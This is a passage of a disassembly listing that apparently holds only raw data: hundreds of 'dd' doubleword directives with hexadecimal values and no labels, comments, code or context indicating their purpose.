		dd 43C08C53h, 40F93D8Eh, 0D653AB7Eh, 0BB277EF8h, 7B994C12h
		dd 9E988456h, 71876D25h, 55408ADBh, 0BD6BCF5Eh,	775455A9h
		dd 0EA72F253h, 46D4740Ah, 8AF0451Eh, 80F8282Ch,	6E321426h
		dd 0EB322BFDh, 0A0EB965Fh, 4C6107B0h, 0C204F11Dh, 0C1E29EFDh
		dd 7B5AD7C0h, 5B79FCCCh, 4CB4F3A7h, 4E8221Ah, 312717EEh
		dd 0C6C48061h, 0E4C18D4h, 29145072h, 7924572Fh,	0A5F4EA37h
		dd 0B024BF45h, 0EE800B30h, 0BD60B50Dh, 22823056h, 465197BCh
		dd 2A509713h, 532ADC67h, 0F12BFCF7h, 2E69057h, 0E9C7FE5Ah
		dd 0C0CB5010h, 17BBF6B2h, 0C1173A60h, 4D0107E6h, 795E37EAh
		dd 65E5DE82h, 7C4805AFh, 641D252Dh, 0D143669Ch,	0F0774B70h
		dd 5B833CF1h, 3B5E822Ch, 5DDF0977h, 1BE28FB3h, 0EF4E46E4h
		dd 0FAEC59E5h, 0DBD29779h, 3BF82D5Eh, 4A13D09Fh, 6548B5F8h
		dd 774C4103h, 32FA521Fh, 5A124D7Ch, 7D0FEE21h, 0CADECB7Dh
		dd 0BC0BF1C9h, 0B7E09827h, 340033BAh, 0D16832DEh, 91CD21CBh
		dd 0CF290BAEh, 7A2D2D99h, 89298FA5h, 0AA6E542Dh, 4C5EF32Dh
		dd 4D68158Ah, 7C25E666h, 80064E8Bh, 855FAA5Bh, 29198B41h
		dd 2831E3B1h, 27101D2Dh, 79552587h, 11547AC3h, 211C905h
		dd 69E1CFC1h, 8A4ACF39h, 37E9172Dh, 0A8480AFCh,	10B194C4h
		dd 7B3D12D4h, 6B5006D8h, 0A20D51DBh, 7AF02006h,	6F0281Eh
		dd 512EB26Fh, 0EEAA0890h, 40C4C780h, 0D25868FAh, 1F08B90Eh
		dd 4667E2E9h, 0C0ED2C1Bh, 8C096FD9h, 66135DD6h,	831D55CFh
		dd 0E913BEEEh, 317EA0A8h, 25F0C8FFh, 0DF687209h, 7E988055h
		dd 3A3546B4h, 4BA79D07h, 0A9789B74h, 4F0AD40Eh,	0BBCFB130h
		dd 69002B72h, 55DBF710h, 137FA3BDh, 0BA0961D1h,	59BA4141h
		dd 0B6303ED6h, 0BB6900Bh, 0C86EE94Eh, 0EE4AC4DAh, 41B2FF88h
		dd 35F1ECACh, 0FBE63013h, 0C308EF1h, 6AA097AEh,	0C04CF9C3h
		dd 27572B3Eh, 72EDF6CEh, 0D7E8636Eh, 0FA568295h, 5A02095Dh
		dd 650FB034h, 0ABD1527Fh, 0B63B1235h, 37517AD1h, 0BD2C500Ah
		dd 524C6C53h, 730071A1h, 0D305356Fh, 44B937Eh, 31642F0Dh
		dd 2D38BC34h, 59B5DC06h, 31ACC3Fh, 0DD62E926h, 0C51C00AFh
		dd 412DEFB0h, 4FCA2BFDh, 412AF650h, 0A44DA6Fh, 0EB720D24h
		dd 80E7669h, 656B767Eh,	0EFF50851h, 168D512Dh, 0F72721D2h
		dd 0A6BA0051h, 212E0F3Bh, 0CB84D329h, 16CCEA03h, 2D6B3986h
		dd 0BB740113h, 0C12D934h, 588920F9h, 0F33FC485h, 72801F6Ch
		dd 0F501FBAEh, 6AD7821h, 41695D20h, 70CBF18Ah, 62B80441h
		dd 4D5CF304h, 4805362h,	5B90C5C6h, 9260FCFDh, 1FED01ABh
		dd 2A9ADCBBh, 0BD127B86h, 0A95B4AE4h, 0F9210981h, 45F9F92h
		dd 0D68824h, 0D8597C68h, 30587C3Bh, 310F78BFh, 9BA15FF8h
		dd 1EB04AEh, 93CA5396h,	78842E92h, 568128AFh, 0DF15329Fh
		dd 5B47E40Bh, 78488790h, 5452B120h, 25D448A0h, 5DEF9A53h
		dd 0E905F9E7h, 0C3F7DF1Fh, 50E0B10Bh, 78883465h, 63253ED4h
		dd 99DFC84Bh, 0E328B8A2h, 344F4364h, 2CEB6012h,	0FB415036h
		dd 0EA26C43Fh, 0BD21D3DCh
		dd 0A478C290h, 0E2DC79BDh, 1875C743h, 2D41A9EBh, 83F6394Dh
		dd 277CF140h, 4FA9B047h, 1030F3CAh, 0B15B509Fh,	0CAC62063h
		dd 2A5B7704h, 29C1D9F7h, 9B61708Eh, 95A00C80h, 39E9BA05h
		dd 5E124C96h, 0D4479ECCh, 33071C02h, 606F0A6Ch,	0A246AEF7h
		dd 1E9050Bh, 0AD197304h, 70044329h, 57BF09BAh, 304BB62Fh
		dd 395CEA29h, 0CFD6679h, 0D439BE24h, 0CD020DCDh, 4A54B478h
		dd 0F29F5F63h, 0BB5DAB14h, 0CE85DC0Eh, 0DEB740E8h, 0B27A67BEh
		dd 0C6F23598h, 1CE77E31h, 6C67B2ACh, 289FE10h, 54625205h
		dd 5734E0EDh, 0FB1E503Fh, 7C950CC9h, 80C7573h, 1C833910h
		dd 84456A00h, 0B62CE974h, 5DE953BEh, 0B96604h, 0D053B5BDh
		dd 0FA9034h, 6ED83854h,	0E907E5C1h, 9202B64Fh, 7D03EAC0h
		dd 0F764E1E0h, 613C1297h, 132EC1E8h, 0D310A22Ah, 94167CA2h
		dd 79FFF34Fh, 79AF662Dh, 5F16424Ah, 8D025509h, 0EDD7E603h
		dd 0BF32F0Dh, 39926608h, 122C771Eh, 507027F6h, 0BC0ADC0Ch
		dd 40F7E29Dh, 8077C432h, 0FEE5D388h, 0FCDD96DFh, 0FDD9FCE3h
		dd 97D94371h, 0C417AA05h, 0D08081B9h, 5860685Ah, 0D75C795h
		dd 6B3C7F2Dh, 0F71068CEh, 0FB012513h, 5BAD3E02h, 478FA840h
		dd 0F84D4078h, 830D038Dh, 4D25D42Dh, 79488914h,	0C37AD300h
		dd 7FF0BF23h, 0E91572FAh, 76846396h, 3B2BE50Fh,	732F6F39h
		dd 0CBC1DABCh, 730669F8h, 0E5A15EF6h, 20BAF66Ah, 0E9ED5BFDh
		dd 97BC44Dh, 681780CAh,	70DF338h, 9EC6EBEh, 6BEFE9B1h
		dd 17C8CE48h, 8116A37h,	40287191h, 0AE13024Ah, 0CE73C301h
		dd 0AF7114D4h, 0E9CEC36Bh, 0C0A5B18Ch, 0A72404C8h, 7A104E59h
		dd 715E6809h, 95606A7Eh, 0B8060911h, 4C510F8Eh,	461820E2h
		dd 0ED968ED6h, 0FAAD9FEFh, 0E22C4B2Fh, 7629A277h, 85E985ADh
		dd 0DEFBB85Fh, 7A0D554Bh, 0B9385F45h, 0E06CD465h, 2FE95351h
		dd 2A2599A2h, 0D981EFDEh, 6C6CEA83h, 0DC84192Dh, 15A7B859h
		dd 80E8866Ch, 37F72B58h, 0EA650168h, 25E93C80h,	0EB4864A8h
		dd 0D487012Dh, 79570231h, 20402189h, 6A0B6593h,	0A944E920h
		dd 0E1280759h, 0F5681472h, 8BCD4CA2h, 3F47E577h, 0B07D6F26h
		dd 6195BBC0h, 0F1E0764Ah, 775A2EC2h, 0AEE10885h, 0B8CE8001h
		dd 0A9CBC6FEh, 93F9D6F6h, 0EA00766Dh, 24A216E7h, 0BF98CA29h
		dd 42E90880h, 541784Dh,	0C5B35350h, 0F3F1C1EBh,	250689A6h
		dd 9DAF5088h, 4DB63158h, 0F8CF5027h, 53B32D04h,	0F95384h
		dd 8003E1C0h, 0F61118F1h, 2C040AD9h, 0E0BCA74Ah, 0D2EB1D9Ch
		dd 4AACB8E2h, 0AFD22CB3h, 965C4528h, 0D7F75071h, 23AA6812h
		dd 61101DA3h, 542503F0h, 0D2213F15h, 5FD8A258h,	53D95553h
		dd 5FE9F662h, 9453092Ah, 7707BE56h, 0AA200D40h,	15DA5D2h
		dd 7D37E9BDh, 595A926Eh, 849D6144h, 6802724Ah, 4DEC468Bh
		dd 5E0A0727h, 0EB56E48Dh, 0B27FCAD9h, 4A0DB649h, 0BE8FD25Ch
		dd 3D02BDECh, 120730Dh,	90142F2h, 0A7578508h, 0DC48318Ah
		dd 0C945A24h, 0EF1FF14Fh, 26EA180Bh, 8E776D5h, 89208584h
		dd 0D62B640Eh, 0F05FCBEBh, 8A6C953Fh, 0D602A2B8h, 12D9C44h
		dd 0C08327Ch, 0EC5859E7h, 772546F7h, 8BD56529h,	5BE6CBF0h
		dd 6B4DC595h, 0DEF74410h, 0EE3B83E6h, 1F81BA01h, 2D076869h
		dd 76D97132h, 6490BCAh,	729705FAh, 0B8FBFA75h, 799641CDh
		dd 77E05005h, 0DC4F559h, 8D1F7CAh, 876417EDh, 0C680015Bh
		dd 5AF32839h, 63C3DC59h, 0AD4EEBF4h, 5E76B8E0h,	68E33072h
		dd 98951BAEh, 0BF761F5Dh, 36958AB4h, 8A30B560h,	0C39A2BE9h
		dd 0BA4DACBh, 8D4B02BAh, 1FC65DA3h, 2300554Eh, 6B1936B9h
		dd 0D9F73E45h, 0A5845A7Ah, 0C7A2201Eh, 0DFC582Eh, 80C5693Ah
		dd 6B6A0C07h, 880B846h,	1A087D6Ch, 9945263Ah, 13FB4535h
		dd 85C9A210h, 0F5F159E9h, 13D0F63Eh, 0C0A704A0h, 0C9828837h
		dd 571088DCh, 92725925h, 2336EA0Ch, 0F0C90C2Ah,	0FCBA4ABCh
		dd 0D6052D63h, 0F2E98693h, 301C389Dh, 0D7D75BDAh, 2F100008h
		dd 5964BB79h, 68086AE8h, 0E90917A6h, 53EEC1C2h,	2E6583ECh
		dd 27F3BCDh, 0D539A8E3h, 55608FE0h, 0CED2D9B5h,	0ECBAED2h
		dd 2D95D11h, 0A26229CAh, 4BF3723Fh, 44EB8DECh, 7423C7B9h
		dd 0EBBB074Ah, 813F23E0h, 5BAF03F3h, 0DE31CF37h, 5A1E2DA8h
		dd 76228224h, 11F18B92h, 0C518B36Eh, 0EE407FE9h, 0CF20F6B8h
		dd 7C094847h, 1DDAF715h, 0A54B78h, 0FBA05ECh, 81F4439Ah
		dd 68ABA961h, 686D2B4Dh, 0B312684Ch, 0B594080Bh, 0A8B82116h
		dd 20CEE703h, 0DFC30854h, 747FC7C0h, 132E1D5Ch,	0C6BC8A60h
		dd 24EFDFA3h, 0FEC2D265h, 657D2962h, 325D4B77h,	22187701h
		dd 4CD649E8h, 8CDA44ADh, 0E9E0E8F5h, 73BF699Dh,	8EC980FDh
		dd 97423913h, 26B02F1h,	0B33026Eh, 4F9CCA04h, 5F4369EBh
		dd 57E6B10h, 0E9656709h, 0F5EA7057h, 9189A0D9h,	6257F281h
		dd 95765017h, 0BE883556h, 5F688580h, 528F331h, 6D6C35A9h
		dd 8CEC8DAEh, 5BF8098Bh, 3D3209F5h, 2754842h, 0D78BFD3Dh
		dd 705EE491h, 63DF6E33h, 0FBDD4DC9h, 21DC49A8h,	0ED804000h
		dd 9DE5C0EEh, 0B70FD0F3h, 0CCE7C139h, 0E23AD7F6h, 2504202Eh
		dd 2E79AC97h, 20B4D4BFh, 0C05BFD27h, 0B873F59Fh, 0CD594A20h
		dd 7F637A53h, 0EB187D3Ch, 0D06249C1h, 7E0C465Bh, 0C304FB64h
		dd 0FAAA26B0h, 21BF81FAh, 994F7CCFh, 0BB0048F8h, 3E3F732Dh
		dd 5B5BF527h, 9FE99ED9h, 0B25EED2Ch, 596882FEh,	82DB5161h
		dd 48B46AE1h, 4C39760h,	3652120h, 46DE4ABAh, 101EDDF7h
		dd 4F972AB1h, 6650BEE8h, 4B9F7088h, 792EF8D3h, 7072F602h
		dd 604652EBh, 0E40CA6C9h, 0B7E9133Ah, 0DE4CFC8Ah, 0EE5E3349h
		dd 5868049Eh, 0C01B2C60h, 1664198Bh, 0C8010F1Fh, 6648B64Bh
		dd 5D03090Ch, 27D71E7h,	62CF8732h, 6F9475B5h, 595F5105h
		dd 0C1A013E9h, 9F449F29h, 0E2E5C7Ch, 46F7E08h, 12D0A6ADh
		dd 0F24BB7BEh, 81E29F14h, 207287D9h, 16417CAAh,	0CDA7BF60h
		dd 6E7702C5h, 466B73F8h, 173DD808h, 49C7F02h, 0CA8C1883h
		dd 0F821137Eh, 0E27A2169h, 0C15C8021h, 723112E8h, 61D074C8h
		dd 906808C2h, 0C5A37E06h, 0A89EE916h, 0AF5F2D15h, 20BB4B28h
		dd 0B1EBD0Bh, 64316029h, 1D79FCD9h, 7E4AD8B0h, 0E129E8Ah
		dd 6B76EACFh, 0C6817BFh, 93DFFD78h, 0AAA565E8h,	997A0DCDh
		dd 0CF50A7A9h, 4DE0090Dh, 0D1D20DA1h, 0A11298E2h, 3F03C1A5h
		dd 74E0DFFEh, 368031F0h, 5E08EFC5h, 3BA9FEC8h, 0AF4A1B4Fh
		dd 6C14951Fh, 4008900Ch, 0B5B65921h, 78C579C9h,	5180E3F7h
		dd 143E1CB9h, 0F9CE668h, 3C2EB8F8h, 954DEA4h, 2C56E5ADh
		dd 4B7C2792h, 3CFFDCBCh, 8220C1D1h, 43029753h, 0E07DDAB7h
		dd 735AEF3Eh, 4BC3A0C0h, 0E1B08612h, 0B72D7554h, 0A204C24Bh
		dd 52BE4CE9h, 871BBE98h, 0C898D908h, 20698A25h,	439B3E11h
		dd 506882D2h, 71235C02h, 0F86889DEh, 0F2987DB2h, 0E9830DC1h
		dd 0D42E85CFh, 0C8419DFh, 5A7684F6h, 0C7EFC280h, 9DC4E2FDh
		dd 1A274645h, 3CFA00DAh, 951CAE15h, 8E929209h, 2570B09h
		dd 0D5B40599h, 0C77CA2EEh, 72022EF7h, 0D75E2CACh, 0A8EB3604h
		dd 1CB8145Dh, 68F80416h, 0A8B31013h, 0E2F35A72h, 0BADE85A4h
		dd 955A638Ch, 0B5D02268h, 2975E1EAh, 5E523196h,	6B6E887Ah
		dd 446D2FA5h, 0CEEB0621h, 10D1575Fh, 0B00093C9h, 58C1881Eh
		dd 0CFE04FB7h, 0A7208D98h, 0E5462AAh, 860FEFD6h, 7C1945ABh
		dd 9FD9205Dh, 0A65F537Dh
		dd 50902B9h, 59B17132h,	77293F57h, 7433B860h, 7859762Ah
		dd 70CF9041h, 0CE0BC601h, 8F3F2439h, 0F4A3551Ch, 337C90BBh
		dd 2E91F89Dh, 6854A90Ah, 3F3602E4h, 9BC22BFDh, 0F2809DF2h
		dd 5652E952h, 3FCA02C1h, 8146D96Bh, 5E7AFAB6h, 0F07F0921h
		dd 8FE036E3h, 0A2882560h, 9E69EC65h, 56298884h,	60325C13h
		dd 18815552h, 2E06342Dh, 0CF087FC4h, 92CB3DCFh,	515C0547h
		dd 0A5B5A49h, 61C3E95Ah, 5F6202Ah, 97230168h, 50FE2C4Dh
		dd 7579B800h, 0D8F72EABh, 59560B25h, 1F562924h,	65E62D01h
		dd 0D2711084h, 554C8854h, 19454055h, 336CB240h,	0D831C448h
		dd 8C2C3E4h, 5593D3F7h,	2DC0D509h, 790A6E91h, 0B3E3D14Eh
		dd 24A9F30Fh, 0DD85898Fh, 16671280h, 0AD275AEAh, 8E041319h
		dd 0F0DE4422h, 2BBB0016h, 817F8C62h, 2D70B1CBh,	0EAC794Eh
		dd 0BD05FC20h, 3D370C28h, 11A7A480h, 297E3B3Eh,	0FC04754Ch
		dd 8179A122h, 7078B2E9h, 0EC0514Ah, 3F0D092Fh, 0C1E1A889h
		dd 78483E47h, 4156BC4Fh, 7415F0F3h, 0E9D7E6C2h,	0CC366AB6h
		dd 0D16812CFh, 0EBDA6113h, 60EB79A5h, 7A63D482h, 0F781184Bh
		dd 85E90DD0h, 541D09BEh, 485B5F8Bh, 14219317h, 0BA4F7B0Bh
		dd 0EF690F00h, 0C9FEE934h, 0A392A7BCh, 43B6EA97h, 0A6CD3F3Bh
		dd 0D30E2B1Eh, 4FF3ECC5h, 637B0539h, 431ADD17h,	8F46EDD1h
		dd 311F6749h, 92EB4EDEh, 29D561EBh, 0E940F446h,	0B98E820h
		dd 5FF9315Ah, 13F49904h, 0EDED4C16h, 104C0110h,	314C2959h
		dd 0EBB7475Bh, 2D8DE278h, 88CA8FDh, 0FF583E24h,	86E93130h
		dd 30CB31AFh, 5380A21Fh, 0B0F3985Dh, 0F7FCFF8Ch, 33090D7h
		dd 67CA185Ch, 0F5F9EF31h, 0AD242B59h, 0D4C1EB87h, 0DAF86D0Eh
		dd 3410BFAAh, 79B5D9CBh, 7BA56FE5h, 560D06DCh, 93419250h
		dd 9D4338F8h, 942DC453h, 0EAE91904h, 80E727BCh,	68676FA4h
		dd 39ED8308h, 0D4818101h, 56445809h, 33228257h,	0FF3EFE78h
		dd 18841AA0h, 0F5EC6C90h, 7476451Ch, 0ED6F0C30h, 894B17FAh
		dd 7D3BC0EFh, 2A5A5051h, 20E930C8h, 535906D4h, 435B1C1Fh
		dd 7203AE64h, 0E131548h, 2208EB6h, 0AFEF125Fh, 0C2AFE585h
		dd 6EFD7B55h, 0F85B5AD7h, 5CE9E1E9h, 54F6D051h,	3E5B01ECh
		dd 32B63C30h, 0E9120D06h, 6D51429Ch, 45943CF2h,	40A1F134h
		dd 784E68F0h, 0AC2AA2A1h, 1668E1B0h, 0CAC0177Eh, 4EA9703h
		dd 0E86210B2h, 0A160C4ACh, 0D8215A02h, 5027E552h, 3DE27B03h
		dd 648B322Fh, 8A7782D7h, 0C6C67FA7h, 0B6CD097h,	0C02BBE82h
		dd 76D505D7h, 0CA28DB91h, 0D330C22Ah, 45C951D6h, 0A5B4ACFBh
		dd 58929F76h, 1CF3690h,	0F164733Bh, 0BF0C0519h,	0F74FFECAh
		dd 0BC3110A4h, 99EE067Bh, 0C0C3840h, 140204Ch, 0E9F18923h
		dd 0B073F870h, 8DB12578h, 0B7097D72h, 0FD34B252h, 55C6A40Fh
		dd 29261C83h, 0A0A7ABCAh, 22808F5Ah, 4F2D989Fh,	10AFA6FEh
		dd 0E9C64160h, 98B6236Fh, 5FEEE970h, 6CEDC9BEh,	6B51494Ch
		dd 0C78D5E0Ah, 0D5C93FEDh, 132DC480h, 0E7F64125h, 0EF9898A3h
		dd 430B1437h, 0AB09E94Fh, 0F8375ED3h, 64BDAC67h, 41F9F1A0h
		dd 0E374F24h, 5D365677h, 31253AC6h, 64A149BDh, 0C06F2ACh
		dd 5E33EEA5h, 307D5B55h, 9D404005h, 4BDA7729h, 6BDAE1C0h
		dd 0EBD20DF3h, 0D8689944h, 283EC9AFh, 0C6599FD7h, 3D7F5B6Dh
		dd 9EC860D2h, 2858F1A6h, 40D0840Dh, 0D7F81D1Ch,	874F8251h
		dd 0FA117840h, 7840D197h, 9ABF0388h, 7CE2C3Bh, 0A8872DE9h
		dd 0E2683821h, 10062640h, 0D009161h, 785F5298h,	0A09DF031h
		dd 68CE878Ch, 0D7D9956Bh, 5E1B18A4h, 50B8B2F5h,	32B138FCh
		dd 9570EB58h, 7A57AE49h, 5FCB21B2h, 0A4DC1ED7h,	5F892081h
		dd 2F403AA2h, 0F8970449h, 0C1184ED7h, 0C04AB548h, 70D466E8h
		dd 5F31213h, 0D2C400ECh, 626802A3h, 405FA957h, 39805950h
		dd 0E9A6F0C1h, 0E0B60FE5h, 0FE2CCE21h, 0D40AAFC6h, 201603AAh
		dd 2E3E5AF1h, 28717601h, 0BF6865B5h, 73F739h, 0C7FEECEFh
		dd 0E936B050h, 96D69529h, 0F6E208h, 6CA3C981h, 0C117349Eh
		dd 130905E1h, 60FC9AC2h, 81B5BF05h, 0E398D151h,	0D1764BE2h
		dd 98462693h, 4A5A0B8Bh, 0BA39C451h, 3842EA7h, 685902B7h
		dd 73965F12h, 0DBE943C2h, 93AAFDEFh, 48C00B4Fh,	802A169h
		dd 515B27D9h, 0F7585976h, 4F68E6F1h, 9E00E8D0h,	8BFDCEFh
		dd 0F42F3F54h, 0ED630721h, 0B684236h, 73096A5Fh, 5B1AA54Fh
		dd 5300A9D4h, 270A6855h, 5D0E3B47h, 9EB9A2CAh, 110342EEh
		dd 0E8022C2Ah, 3016A7CEh, 0C9781209h, 364B7328h, 0B71141AFh
		dd 20C253DCh, 0B81791B2h, 5EA3714h, 37E56BC5h, 0B9C382CFh
		dd 0A1352E52h, 0AAE0D5Ch, 83F26881h, 3C70FEF3h,	5A03E676h
		dd 51E8E7Ah, 78A48F4Eh,	2071C9ABh, 6400759Eh, 8FBD7124h
		dd 978EDB9Bh, 78E9F102h, 5E1341F6h, 0AC4BFCFCh,	0B3969F5Ch
		dd 0B0C051C3h, 12E18008h, 0B1C1FE42h, 643EE9A4h, 3C4B3318h
		dd 688003E9h, 3F6057ACh, 8222E927h, 0FF78041Ah,	0BF890DC5h
		dd 636A5D4Ch, 980EEF42h, 3051C2C1h, 7EB8785Fh, 9F2ECD0Bh
		dd 42225733h, 2104C5EEh, 0B22327AAh, 6CD7C115h,	56F4F4D6h
		dd 0A958B0D4h, 68C20859h, 9BDC663Bh, 0F77BF071h, 3E231218h
		dd 3778ADB2h, 0D610C973h, 0B4381B16h, 66E20EBDh, 45123F58h
		dd 2B5E6B49h, 3FD2F00Eh, 2112D601h, 0AB7E21E3h,	32823E64h
		dd 556DC0EBh, 0B340973Dh, 26B142D8h, 0EC58522Fh, 6469BDEDh
		dd 27FD6958h, 0EB50E953h, 0A144756Dh, 4B7E7509h, 7DF0012h
		dd 172881Ch, 60E2719Fh,	0F129712Dh, 0F8014B0Ah,	0E90B0705h
		dd 7CB2A95Bh, 3503BFF6h, 17E643D3h, 3D71CBF9h, 215EC4C7h
		dd 0E9A598FAh, 0E660B42Dh, 5A0BF239h, 6107928Eh, 107A2C56h
		dd 80D1ECF4h, 0D68A8F59h, 802A48Bh, 58133D52h, 1D5DCDF8h
		dd 555CC689h, 0ABB5A4C6h, 0DBA19835h, 218F1F86h, 3F7ACCF9h
		dd 0BE1FC6D3h, 100B159h, 64BA52CEh, 410D0467h, 0BEEA29E9h
		dd 0F85BA79Bh, 2E8AD4C7h, 0D16A435Ah, 8C232103h, 47840414h
		dd 0C882A8E9h, 5F40B4EDh, 9832F264h, 20915AF5h,	7BEF68BAh
		dd 4C2DA692h, 0BFE2F17Fh, 6103BD16h, 3E33BC9h, 0F50888B8h
		dd 654FE268h, 0F8D24148h, 74638142h, 59205152h,	0C953137Ch
		dd 6002BE3Dh, 0A032E943h, 30160D8Bh, 0A9D4EF07h, 2CC8017Ch
		dd 0E2DC1D05h, 418E200Ah, 0EAE0ADCEh, 0DDBBFBE5h, 9627127Dh
		dd 9C32CD61h, 10E8E23Bh, 88076A47h, 445B66FCh, 0D1A984E6h
		dd 0C052F6A3h, 68255AF0h, 600EDE76h, 710CBDB0h,	0B3B25200h
		dd 802DB450h, 0C05D24ECh, 210C308Dh, 584EE228h,	23E900B1h
		dd 0FEFE002Ah, 0B1E9DD88h, 0C479E89Fh, 44D28322h, 8132AEABh
		dd 286AAE55h, 7E9617Bh,	0A19178E8h, 0ED383FE2h,	0C37B4CDEh
		dd 0FC04F529h, 312529A3h, 40F0A8F0h, 0AB05550h,	5BEC840h
		dd 3A15661Fh, 6C220429h, 0C5490ED2h, 3122CAC7h,	6C305558h
		dd 30804F9Bh, 0DED1E4CAh, 4780D208h, 76DC880Bh,	6B0A785h
		dd 5AA5C649h, 7A3C55A1h, 490E0D01h, 2A5C292Ch, 478139A2h
		dd 7830E920h, 0DCA35BC8h, 844A2D58h, 0B02CEFDAh, 0D2A4BE5Dh
		dd 0F92034CEh, 0BF660EBDh, 3187C140h, 0B027BFAh, 0FF096208h
		dd 3B4E5402h, 7A46D409h, 8D3B7984h, 0F71570A6h,	0D60BD76Ah
		dd 43E408h, 3AA1E181h, 0F1EC38B1h, 0FE536F0Fh, 0B3C1817Ch
		dd 5E38E23h, 8D7D2618h,	0EDC182A0h, 0BF641455h,	0AB04BF32h
		dd 0A101C053h, 2F023606h
		dd 0C9F961BBh, 59E177D0h, 0EB36F29h, 1FBC47C4h,	61781AEFh
		dd 676B5082h, 0F291A20Dh, 5969CB7Eh, 0F33E444h,	147A69E9h
		dd 6696A160h, 3748452Dh, 0BB03F720h, 5F43589Ch,	81AC0009h
		dd 0A71403F2h, 0EC14215h, 457941A8h, 3F22F140h,	0E0F94A65h
		dd 56484E1Ah, 4E3E2F97h, 0A2C279Bh, 763AF876h, 8459203Ch
		dd 91E6E9D7h, 6084EFF3h, 0D8CCEEA8h, 3CB70753h,	30FDE780h
		dd 0DFF601C7h, 8A300898h, 0B6B81E52h, 0FE3026BFh, 3C71147h
		dd 66E0B551h, 0FAA8FB52h, 96C3DDF5h, 0C5CB0A2h,	1EB7644Ch
		dd 31FD30B2h, 2431D40h,	1E16FD5Dh, 9BAC4E20h, 0EE8E8805h
		dd 504A2F3Bh, 225F2505h, 44203150h, 305A02D3h, 0C9FE5BF9h
		dd 2E2DC3E1h, 64B866C2h, 2648ECD6h, 84DC6715h, 0BE34441Fh
		dd 94DFFBD1h, 3021BA00h, 0DA9F6AFAh, 7EB048Fh, 0FC192C28h
		dd 53411069h, 0E290522Ch, 0BE00C52Ch, 5CDFCFB7h, 53013DBCh
		dd 103B820h, 42421F5h, 845BA908h, 92C85DE8h, 50E44318h
		dd 7131F7Ah, 49EF17A9h,	308E0312h, 5A607B61h, 33A4B643h
		dd 5A9ECE8h, 31281026h,	33B904DFh, 5147F5A4h, 13955E8h
		dd 0E3C191B4h, 0DE798FE5h, 423F582Eh, 0BA04B1DAh, 291292BFh
		dd 6F8EC6E1h, 0BB87C152h, 40A6450Fh, 0C5FD154h,	7CAE7413h
		dd 99676BD1h, 526FB501h, 2850ED63h, 0C490509Ah,	28AA8DD6h
		dd 6C401BA8h, 98EFB84Bh, 87545EA8h, 55010A8Bh, 0EAFDA060h
		dd 0CFA13105h, 1699208h, 0FB019D95h, 6380006Eh,	40C2F8EBh
		dd 8B62E65Bh, 37B0818h,	103EE13Fh, 4026406Ah, 6240B7A4h
		dd 11FE400Ah, 0D529CB66h, 8CAD3108h, 3B7A320h, 3110F6DAh
		dd 4008735Fh, 24D40166h, 88AD8B01h, 0C6F3D28h, 4451E9FBh
		dd 777010C4h, 6213204h,	66084A50h, 0A1CF792Fh, 20EC5B20h
		dd 69313379h, 5A46083Ah, 8731905h, 0C3E18C7Ch, 0F1F0081Bh
		dd 0BDA8388Ch, 1FB6E08h, 208C2D4Ch, 9C0868CBh, 5610D41h
		dd 0C2008BFh, 30A8B154h, 0C3087362h, 0F3F10255h, 3C9D0803h
		dd 95C03328h, 7F20C1C6h, 7E492008h, 52AC6B54h, 5D0888E3h
		dd 7067086Eh, 405BA70Ch, 9E366DDh, 0FC201889h, 788A3186h
		dd 164CE10h, 120114F6h,	0BA088C96h, 404F185Fh, 0E5626F64h
		dd 0E6D6810h, 7508FF68h, 0F9203A2Fh, 8AED331h, 188A174Dh
		dd 98C46C8Ch, 399D18BFh, 10206382h, 31B9C618h, 92D915Ah
		dd 831D0888h, 2671DE18h, 0A4E80B2h, 9238DC80h, 79234014h
		dd 0AC20606Fh, 0C63608EFh, 875B8C1h, 0E1D09120h, 0CA53D851h
		dd 3DB9088Ch, 32636040h, 18A5C508h, 8706918h, 0EF814DE5h
		dd 1AFA988h, 31B87115h,	11286978h, 0C90C1088h, 8FA6B0Ch
		dd 0ADD9C627h, 9934108Eh, 0C4468967h, 2008E82Ah, 0A933E483h
		dd 3378F967h, 9BE95010h, 774AB910h, 8C68C224h, 0E308985Bh
		dd 0B6A09E54h, 790A10CCh, 5A59C452h, 24560944h,	60918B48h
		dd 0C3036245h, 800C2918h, 92189F08h, 0CE4E40B0h, 40474A40h
		dd 0C0638CACh, 18407208h, 8424118h, 79814BAEh, 8D36598Ch
		dd 5A40EC10h, 7BF0A80Fh, 6EA8358h, 69A7702h, 0F120C949h
		dd 6C442065h, 209DBA20h, 83148B9h, 6BC910BEh, 5118CA03h
		dd 2F18B588h, 9E08C6F5h, 817D1877h, 0E13B08CCh,	26009A4Bh
		dd 9A7456C1h, 38483950h, 0CE8114BCh, 0EEE5D051h, 490FAD03h
		dd 0D3FC9C60h, 815FA420h, 4A2C31EFh, 0E3C78B26h, 9D474491h
		dd 33F3B10h, 13EB0275h,	0B90E1B89h, 50003DA7h, 408F4401h
		dd 17C90B49h, 1C8BF775h, 0DE057A1Fh, 0C8B9F003h, 0C07833F3h
		dd 4FB10F0Ch, 9DAC2C30h, 0B32D2014h, 0E3A4C0CBh, 2E913DEh
		dd 6E23B432h, 56490717h, 650B3AB8h, 5D84121Eh, 1677FB54h
		dd 0D55B869Fh, 57509518h, 283EEF70h, 86EC13F8h,	45C9B0DCh
		dd 0DA30704Ch, 66094C9Ch, 0F7E8B51h, 817666F5h,	0BDBE1C16h
		dd 0C9211C68h, 0E454794Eh, 0B20AE0B8h, 1C4BB7C7h, 0C75AD728h
		dd 61885BFAh, 0C366B3E9h, 0A2F0897Ah, 2E8F2F51h, 69844AF7h
		dd 38A8E3FFh, 0A7CA4BFEh, 0AD6CB77Eh, 0E386E91Ah, 64CFFF28h
		dd 0B2462FB1h, 2F838D3Ah, 41E110F0h, 0F1843B4Dh, 903928FEh
		dd 16FFA366h, 505203A7h, 67F4B866h, 3E9EC1D9h, 471E8730h
		dd 51350EC8h, 0B382E8B9h, 0F05E3175h, 0C7FC5A0Ah, 581F4EA0h
		dd 1F48C101h, 0BCF62773h, 800BF003h, 5DB4E16Dh,	0C9F4A853h
		dd 0F06B4BECh, 8A9C7315h, 85F9F12Dh, 0E801308Fh, 0D28781C5h
		dd 74EB314Bh, 0BCFB4A7Eh, 0A1BEB090h, 12CE0B02h, 2F78EEC1h
		dd 2D649B09h, 4796FF1Bh, 0B248610Ch, 9163A32h, 2926B1CBh
		dd 8E2037Fh, 0D82C4FDDh, 0CA9D5BC3h, 0E9E7D7D4h, 21CC6884h
		dd 0E1E03CADh, 7A0CFF7Bh, 16EE07E9h, 15D9AC5Dh,	224D4A68h
		dd 90A7E90Bh, 1490A679h, 23B377Ch, 45E66E9Dh, 0A2785CEh
